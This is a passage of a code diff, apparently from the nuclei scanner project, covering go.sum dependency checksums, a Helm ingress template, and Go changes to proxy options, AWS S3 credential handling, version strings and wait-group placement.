golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc=
golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4=
golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU=
golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8=
golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M=
golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
golang.org/x/crypto v0.37.0 h1:kJNSjF/Xp7kU0iB2Z+9viTPMW4EqqsrywMXLJOOsXSE=
golang.org/x/crypto v0.37.0/go.mod h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc=
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
@@ -1271,9 +1282,6 @@ golang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/mod v0.22.0 h1:D4nJWe9zXqHOmWqj4VMOJhvzj7bEZg4wEYa759z1pH4=
golang.org/x/mod v0.22.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY=
golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
@@ -1318,6 +1326,7 @@ golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwY
golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
@@ -1326,15 +1335,13 @@ golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws=
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc=
golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns=
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44=
golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM=
golang.org/x/net v0.27.0/go.mod h1:dDi0PyhWNoiUOrAS8uXv/vnScO4wnHQO4mj9fn/RytE=
golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4=
golang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY=
golang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E=
golang.org/x/net v0.34.0 h1:Mb7Mrk043xzHgnRM88suvJFwzVrRfHEHJEl5/71CKw0=
golang.org/x/net v0.34.0/go.mod h1:di0qlW3YNM5oh6GqDGQr92MyTozJPmybPK4Ev/Gm31k=
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@@ -1359,12 +1366,8 @@ golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJ
golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
golang.org/x/sync v0.13.0 h1:AauUjRAJ9OSnvULf/ARrrVywoJDy0YS2AwQ98I37610=
golang.org/x/sync v0.13.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
@@ -1430,17 +1433,14 @@ golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20=
golang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=
golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE=
golang.org/x/sys v0.29.0 h1:TPYlXGxvx1MGTn2GiZDhnjPA9wZzZeGKHHmKhHYvgaU=
golang.org/x/sys v0.29.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw=
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
golang.org/x/term v0.0.0-20210220032956-6a3ed077a48d/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
@@ -1448,15 +1448,13 @@ golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuX
golang.org/x/term v0.4.0/go.mod h1:9P2UbLfCdcvo3p/nzKvsmas4TnlujnuoV9hGgYzW1lQ=
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
golang.org/x/term v0.7.0/go.mod h1:P32HKFT3hSsZrRxla30E9HqToFYAQPCMs/zFMBUFqPY=
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU=
golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U=
golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=
golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY=
golang.org/x/term v0.22.0/go.mod h1:F3qCibpT5AMpCRfhfT53vVJwhLtIVHhB9XDjfFvnMI4=
golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM=
golang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o=
golang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw=
golang.org/x/term v0.28.0 h1:/Ts8HFuMR2E6IP/jlo7QVLZHggjKQbhu/7H0LJFr3Gg=
golang.org/x/term v0.28.0/go.mod h1:Sw/lC2IAUZ92udQNf3WodGtn4k/XoLyZoh8v/8uiwek=
golang.org/x/text v0.0.0-20170915032832-14c0d48ead0c/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
@@ -1473,16 +1471,14 @@ golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE=
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
golang.org/x/text v0.16.0/go.mod h1:GhwF1Be+LQoKShO3cGOHzqOgRrGaYc9AvblQOmPVHnI=
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
golang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0=
golang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU=
golang.org/x/time v0.0.0-20180412165947-fbb02b2291d2/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.0.0-20191024005414-555d28b269f0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
golang.org/x/time v0.8.0 h1:9i3RxcPv3PZnitoVGMPDKZSq1xW1gK1Xy3ArNOGZfEg=
golang.org/x/time v0.8.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U=
golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=
golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180828015842-6cd1fcedba52/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
@@ -1534,8 +1530,6 @@ golang.org/x/tools v0.0.0-20200825202427-b303f430e36d/go.mod h1:njjCfa9FT2d7l9Bc
golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=
golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58=
golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
golang.org/x/tools v0.29.0 h1:Xx0h3TtM9rzQpQuR4dKLrdglAmCEN5Oi+P74JdhdzXE=
golang.org/x/tools v0.29.0/go.mod h1:KMQVMRsVxU6nHCFXrBPhDB8XncLNLM0lIy/F14RP588=
golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+3 -4
View File
@@ -1,7 +1,6 @@
{{- if .Values.interactsh.ingress.enabled -}}
{{- $fullName := include "nuclei.fullname" . -}}
{{- $svcPort := .Values.interactsh.service.port -}}
{{- $svcName := .Values.interactsh.service.name -}}
{{- $svcPort := .Values.service.port -}}
{{- if and .Values.interactsh.ingress.className (not (semverCompare ">=1.20-0" .Capabilities.KubeVersion.GitVersion)) }}
{{- if not (hasKey .Values.interactsh.ingress.annotations "kubernetes.io/ingress.class") }}
{{- $_ := set .Values.interactsh.ingress.annotations "kubernetes.io/ingress.class" .Values.interactsh.ingress.className}}
@@ -50,11 +49,11 @@ spec:
backend:
{{- if semverCompare ">=1.20-0" $.Capabilities.KubeVersion.GitVersion }}
service:
name: {{ $svcName }}
name: {{ $fullName }}
port:
number: {{ $svcPort }}
{{- else }}
serviceName: {{ $svcName }}
serviceName: {{ $fullName }}
servicePort: {{ $svcPort }}
{{- end }}
{{- end }}
-5
View File
@@ -31,11 +31,6 @@ func (r *Runner) initializeTemplatesHTTPInput() (*hybrid.HybridMap, error) {
gologger.Info().Msgf("Running httpx on input host")
httpxOptions := httpx.DefaultOptions
if r.options.AliveHttpProxy != "" {
httpxOptions.Proxy = r.options.AliveHttpProxy
} else if r.options.AliveSocksProxy != "" {
httpxOptions.Proxy = r.options.AliveSocksProxy
}
httpxOptions.RetryMax = r.options.Retries
httpxOptions.Timeout = time.Duration(r.options.Timeout) * time.Second
httpxOptions.NetworkPolicy = protocolstate.NetworkPolicy
+8 -19
View File
@@ -235,25 +235,15 @@ func validateMissingS3Options(options *types.Options) []string {
if options.AwsBucketName == "" {
missing = append(missing, "AWS_TEMPLATE_BUCKET")
}
if options.AwsProfile == "" {
var missingCreds []string
if options.AwsAccessKey == "" {
missingCreds = append(missingCreds, "AWS_ACCESS_KEY")
}
if options.AwsSecretKey == "" {
missingCreds = append(missingCreds, "AWS_SECRET_KEY")
}
if options.AwsRegion == "" {
missingCreds = append(missingCreds, "AWS_REGION")
}
missing = append(missing, missingCreds...)
if len(missingCreds) > 0 {
missing = append(missing, "AWS_PROFILE")
}
if options.AwsAccessKey == "" {
missing = append(missing, "AWS_ACCESS_KEY")
}
if options.AwsSecretKey == "" {
missing = append(missing, "AWS_SECRET_KEY")
}
if options.AwsRegion == "" {
missing = append(missing, "AWS_REGION")
}
return missing
}
@@ -459,7 +449,6 @@ func readEnvInputVars(options *types.Options) {
options.AwsSecretKey = os.Getenv("AWS_SECRET_KEY")
options.AwsBucketName = os.Getenv("AWS_TEMPLATE_BUCKET")
options.AwsRegion = os.Getenv("AWS_REGION")
options.AwsProfile = os.Getenv("AWS_PROFILE")
// Azure options for downloading templates from an Azure Blob Storage container
options.AzureContainerName = os.Getenv("AZURE_CONTAINER_NAME")
+6 -35
View File
@@ -325,6 +325,9 @@ func New(options *types.Options) (*Runner, error) {
}
}
// setup a proxy writer to automatically upload results to PDCP
runner.output = runner.setupPDCPUpload(outputWriter)
opts := interactsh.DefaultOptions(runner.output, runner.issuesClient, runner.progress)
opts.Debug = runner.options.Debug
opts.NoColor = runner.options.NoColor
@@ -702,7 +705,6 @@ func (r *Runner) RunEnumeration() error {
}()
}
now := time.Now()
enumeration := false
var results *atomic.Bool
results, err = r.runStandardEnumeration(executorOpts, store, executorEngine)
@@ -726,17 +728,11 @@ func (r *Runner) RunEnumeration() error {
}
r.fuzzFrequencyCache.Close()
r.progress.Stop()
timeTaken := time.Since(now)
// todo: error propagation without canonical straight error check is required by cloud?
// use safe dereferencing to avoid potential panics in case of previous unchecked errors
if v := ptrutil.Safe(results); !v.Load() {
gologger.Info().Msgf("Scan completed in %s. No results found.", shortDur(timeTaken))
} else {
matchCount := r.output.ResultCount()
gologger.Info().Msgf("Scan completed in %s. %d matches found.", shortDur(timeTaken), matchCount)
gologger.Info().Msgf("No results found. Better luck next time!")
}
// check if a passive scan was requested but no target was provided
if r.options.OfflineHTTP && len(r.options.Targets) == 0 && r.options.TargetsFilePath == "" {
return errors.Wrap(err, "missing required input (http response) to run passive templates")
@@ -745,24 +741,6 @@ func (r *Runner) RunEnumeration() error {
return err
}
func shortDur(d time.Duration) string {
if d < time.Minute {
return d.String()
}
// Truncate to the nearest minute
d = d.Truncate(time.Minute)
s := d.String()
if strings.HasSuffix(s, "m0s") {
s = s[:len(s)-2]
}
if strings.HasSuffix(s, "h0m") {
s = s[:len(s)-2]
}
return s
}
func (r *Runner) isInputNonHTTP() bool {
var nonURLInput bool
r.inputProvider.Iterate(func(value *contextargs.MetaInput) bool {
@@ -856,15 +834,8 @@ func (r *Runner) displayExecutionInfo(store *loader.Store) {
cfg := config.DefaultConfig
updateutils.Aurora = r.colorizer
versionInfo := func(version, latestVersion, versionType string) string {
if !cfg.CanCheckForUpdates() {
return fmt.Sprintf("Current %s version: %v (%s) - remove '-duc' flag to enable update checks", versionType, version, r.colorizer.BrightYellow("unknown"))
}
return fmt.Sprintf("Current %s version: %v %v", versionType, version, updateutils.GetVersionDescription(version, latestVersion))
}
gologger.Info().Msgf(versionInfo(config.Version, cfg.LatestNucleiVersion, "nuclei"))
gologger.Info().Msgf(versionInfo(cfg.TemplateVersion, cfg.LatestNucleiTemplatesVersion, "nuclei-templates"))
gologger.Info().Msgf("Current nuclei version: %v %v", config.Version, updateutils.GetVersionDescription(config.Version, cfg.LatestNucleiVersion))
gologger.Info().Msgf("Current nuclei-templates version: %v %v", cfg.TemplateVersion, updateutils.GetVersionDescription(cfg.TemplateVersion, cfg.LatestNucleiTemplatesVersion))
if !HideAutoSaveMsg {
if r.pdcpUploadErrMsg != "" {
gologger.Print().Msgf("%s", r.pdcpUploadErrMsg)
-8
View File
@@ -511,11 +511,3 @@ func DisableUpdateCheck() NucleiSDKOptions {
return nil
}
}
// WithResumeFile allows setting a resume file
func WithResumeFile(file string) NucleiSDKOptions {
return func(e *NucleiEngine) error {
e.opts.Resume = file
return nil
}
}
+3 -6
View File
@@ -122,8 +122,6 @@ func (f *FileAuthProvider) init() {
// LookupAddr looks up a given domain/address and returns appropriate auth strategy
func (f *FileAuthProvider) LookupAddr(addr string) []authx.AuthStrategy {
var strategies []authx.AuthStrategy
if strings.Contains(addr, ":") {
// default normalization for host:port
host, port, err := net.SplitHostPort(addr)
@@ -133,16 +131,15 @@ func (f *FileAuthProvider) LookupAddr(addr string) []authx.AuthStrategy {
}
for domain, strategy := range f.domains {
if strings.EqualFold(domain, addr) {
strategies = append(strategies, strategy...)
return strategy
}
}
for compiled, strategy := range f.compiled {
if compiled.MatchString(addr) {
strategies = append(strategies, strategy...)
return strategy
}
}
return strategies
return nil
}
// LookupURL looks up a given URL and returns appropriate auth strategy
+1 -1
View File
@@ -22,7 +22,7 @@ func NewMultiAuthProvider(providers ...AuthProvider) AuthProvider {
func (m *MultiAuthProvider) LookupAddr(host string) []authx.AuthStrategy {
for _, provider := range m.Providers {
strategy := provider.LookupAddr(host)
if len(strategy) > 0 {
if strategy != nil {
return strategy
}
}
+4 -3
View File
@@ -7,7 +7,6 @@ import (
"fmt"
"io"
"path"
"slices"
"strings"
"github.com/aws/aws-sdk-go-v2/aws"
@@ -141,8 +140,10 @@ func (c Catalog) ResolvePath(templateName, second string) (string, error) {
}
// check if templateName is already an absolute path to c key
if slices.Contains(keys, templateName) {
return templateName, nil
for _, key := range keys {
if key == templateName {
return templateName, nil
}
}
return "", fmt.Errorf("no such path found: %s%s for keys: %v", second, templateName, keys)
+7 -2
View File
@@ -3,7 +3,6 @@ package aws
import (
"io"
"reflect"
"slices"
"strings"
"testing"
@@ -251,7 +250,13 @@ func (m mocks3svc) getAllKeys() ([]string, error) {
}
func (m mocks3svc) downloadKey(name string) (io.ReadCloser, error) {
found := slices.Contains(m.keys, name)
found := false
for _, key := range m.keys {
if key == name {
found = true
break
}
}
if !found {
return nil, errors.New("key not found")
}
+1 -1
View File
@@ -31,7 +31,7 @@ const (
CLIConfigFileName = "config.yaml"
ReportingConfigFilename = "reporting-config.yaml"
// Version is the current version of nuclei
Version = `v3.4.4`
Version = `v3.3.9`
// Directory Names of custom templates
CustomS3TemplatesDirName = "s3"
CustomGitHubTemplatesDirName = "github"
+6 -2
View File
@@ -7,7 +7,6 @@ import (
"log"
"os"
"path/filepath"
"slices"
"strings"
"github.com/projectdiscovery/goflags"
@@ -335,7 +334,12 @@ func (c *Config) copyIgnoreFile() {
// this could be a feature specific to debugging like PPROF or printing stats
// of max host error etc
func (c *Config) IsDebugArgEnabled(arg string) bool {
return slices.Contains(c.debugArgs, arg)
for _, v := range c.debugArgs {
if v == arg {
return true
}
}
return false
}
// parseDebugArgs from string
+2 -4
View File
@@ -107,11 +107,8 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
// wp is workpool that contains different waitgroups for
// headless and non-headless templates
wp := e.GetWorkPool()
defer wp.Wait()
for _, template := range templatesList {
template := template
select {
case <-ctx.Done():
return results
@@ -138,6 +135,7 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
e.executeTemplateWithTargets(ctx, tpl, target, results)
}(template)
}
wp.Wait()
return results
}
@@ -145,7 +143,6 @@ func (e *Engine) executeTemplateSpray(ctx context.Context, templatesList []*temp
func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*templates.Template, target provider.InputProvider) *atomic.Bool {
results := &atomic.Bool{}
wp, _ := syncutil.New(syncutil.WithSize(e.options.BulkSize + e.options.HeadlessBulkSize))
defer wp.Wait()
target.Iterate(func(value *contextargs.MetaInput) bool {
select {
@@ -161,6 +158,7 @@ func (e *Engine) executeHostSpray(ctx context.Context, templatesList []*template
}(value)
return true
})
wp.Wait()
return results
}
+1 -1
View File
@@ -163,7 +163,6 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
// headless and non-headless templates
// global waitgroup should not be used here
wp := e.GetWorkPool()
defer wp.Wait()
for _, tpl := range alltemplates {
select {
@@ -211,4 +210,5 @@ func (e *Engine) executeTemplatesOnTarget(ctx context.Context, alltemplates []*t
results.CompareAndSwap(false, match)
}(tpl, target, sg)
}
wp.Wait()
}
+5 -19
View File
@@ -62,7 +62,7 @@ func (bk *customTemplateS3Bucket) Update(ctx context.Context) {
func NewS3Providers(options *types.Options) ([]*customTemplateS3Bucket, error) {
providers := []*customTemplateS3Bucket{}
if options.AwsBucketName != "" && !options.AwsTemplateDisableDownload {
s3c, err := getS3Client(context.TODO(), options.AwsAccessKey, options.AwsSecretKey, options.AwsRegion, options.AwsProfile)
s3c, err := getS3Client(context.TODO(), options.AwsAccessKey, options.AwsSecretKey, options.AwsRegion)
if err != nil {
return nil, errorutil.NewWithErr(err).Msgf("error downloading s3 bucket %s", options.AwsBucketName)
}
@@ -104,24 +104,10 @@ func downloadToFile(downloader *manager.Downloader, targetDirectory, bucket, key
return err
}
func getS3Client(ctx context.Context, accessKey string, secretKey string, region string, profile string) (*s3.Client, error) {
var cfg aws.Config
var err error
if profile != "" {
cfg, err = config.LoadDefaultConfig(ctx, config.WithSharedConfigProfile(profile))
if err != nil {
return nil, err
}
} else if accessKey != "" && secretKey != "" {
cfg, err = config.LoadDefaultConfig(ctx, config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider(accessKey, secretKey, "")), config.WithRegion(region))
